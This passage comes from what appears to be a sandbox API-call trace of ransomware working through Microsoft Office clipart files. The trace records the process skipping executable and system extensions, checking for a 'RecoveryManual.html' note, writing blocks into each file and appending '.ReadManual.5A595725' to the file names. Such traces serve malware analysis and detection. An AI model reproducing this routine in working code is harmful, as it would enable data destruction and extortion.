lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38974362309) returned 1 [0269.075] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf")) returned 0x20 [0269.075] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.075] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31032) returned 1 [0269.076] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7938, lpName=0x0) returned 0x184 [0269.076] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.076] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.076] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.078] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.078] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7938) returned 0x2f0000 [0269.079] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.079] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38974754339) returned 1 [0269.079] CloseHandle (hObject=0x184) returned 1 [0269.079] SetSecurityInfo () returned 0x57 [0269.079] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.079] CloseHandle (hObject=0x194) returned 1 [0269.079] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0269.079] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0250997.WMF" | out: lpString1="J0250997.WMF") returned="J0250997.WMF" [0269.079] lstrcmpiW (lpString1="J0250997.WMF", lpString2="RecoveryManual.html") returned -1 [0269.079] StrStrIW (lpFirst="J0250997.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.079] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.079] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.080] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.080] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.080] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.080] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.080] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.080] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" [0269.080] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.ReadManual.5A595725" [0269.080] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.ReadManual.5A595725") returned 87 [0269.080] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38974856254) returned 1 [0269.080] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf")) returned 0x20 [0269.080] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.080] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26968) returned 1 [0269.080] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6958, lpName=0x0) returned 0x184 [0269.080] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.081] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.081] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.083] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.083] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6958) returned 0x2f0000 [0269.083] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.083] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38975206758) returned 1 [0269.083] CloseHandle (hObject=0x184) returned 1 [0269.083] SetSecurityInfo () returned 0x57 [0269.084] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.084] CloseHandle (hObject=0x194) returned 1 [0269.089] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0269.089] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0251007.WMF" | out: lpString1="J0251007.WMF") returned="J0251007.WMF" [0269.089] lstrcmpiW (lpString1="J0251007.WMF", lpString2="RecoveryManual.html") returned -1 [0269.089] StrStrIW (lpFirst="J0251007.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.089] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.089] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.090] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.090] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.090] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.090] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" [0269.090] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.ReadManual.5A595725" [0269.090] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.ReadManual.5A595725") returned 87 [0269.090] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38975847686) returned 1 [0269.090] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf")) returned 0x20 [0269.091] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.091] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=69644) returned 1 [0269.091] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100c, lpName=0x0) returned 0x184 [0269.091] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.092] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.092] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.094] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.094] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100c) returned 0x1de0000 [0269.096] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38976707530) returned 1 [0269.098] CloseHandle (hObject=0x184) returned 1 [0269.098] SetSecurityInfo () returned 0x57 [0269.099] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.099] CloseHandle (hObject=0x194) returned 1 [0269.099] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0269.099] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0252629.WMF" | out: lpString1="J0252629.WMF") returned="J0252629.WMF" [0269.099] lstrcmpiW (lpString1="J0252629.WMF", lpString2="RecoveryManual.html") returned -1 [0269.099] StrStrIW (lpFirst="J0252629.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.099] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.099] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.099] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" [0269.099] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.ReadManual.5A595725" [0269.099] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.ReadManual.5A595725") returned 87 [0269.099] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38976809307) returned 1 [0269.099] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf")) returned 0x20 [0269.100] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.100] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2786) returned 1 [0269.101] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae2, lpName=0x0) returned 0x184 [0269.101] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.102] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.104] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.104] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae2) returned 0x2f0000 [0269.104] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.104] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38977265196) returned 1 [0269.104] CloseHandle (hObject=0x184) returned 1 [0269.104] SetSecurityInfo () returned 0x57 [0269.104] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.104] CloseHandle (hObject=0x194) returned 1 [0269.104] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0269.104] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0252669.WMF" | out: lpString1="J0252669.WMF") returned="J0252669.WMF" [0269.104] lstrcmpiW (lpString1="J0252669.WMF", lpString2="RecoveryManual.html") returned -1 [0269.104] StrStrIW (lpFirst="J0252669.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.104] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.104] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.104] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.104] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.104] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.104] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.105] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.105] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" [0269.105] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.ReadManual.5A595725" [0269.105] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.ReadManual.5A595725") returned 87 [0269.105] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38977367295) returned 1 [0269.105] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf")) returned 0x20 [0269.105] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.106] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3926) returned 1 [0269.106] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf56, lpName=0x0) returned 0x184 [0269.106] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.106] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.107] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.108] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.108] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf56) returned 0x2f0000 [0269.109] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.109] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38977748199) returned 1 [0269.109] CloseHandle (hObject=0x184) returned 1 [0269.109] SetSecurityInfo () returned 0x57 [0269.109] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.109] CloseHandle (hObject=0x194) returned 1 [0269.109] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0269.109] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0278702.WMF" | out: lpString1="J0278702.WMF") returned="J0278702.WMF" [0269.109] lstrcmpiW (lpString1="J0278702.WMF", lpString2="RecoveryManual.html") returned -1 [0269.109] StrStrIW (lpFirst="J0278702.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.109] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.109] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.110] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.110] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.110] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" [0269.110] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.ReadManual.5A595725" [0269.110] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.ReadManual.5A595725") returned 87 [0269.110] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38977845560) returned 1 [0269.110] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf")) returned 0x20 [0269.110] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.110] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3946) returned 1 [0269.110] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf6a, lpName=0x0) returned 0x184 [0269.110] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.111] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.111] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.113] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, 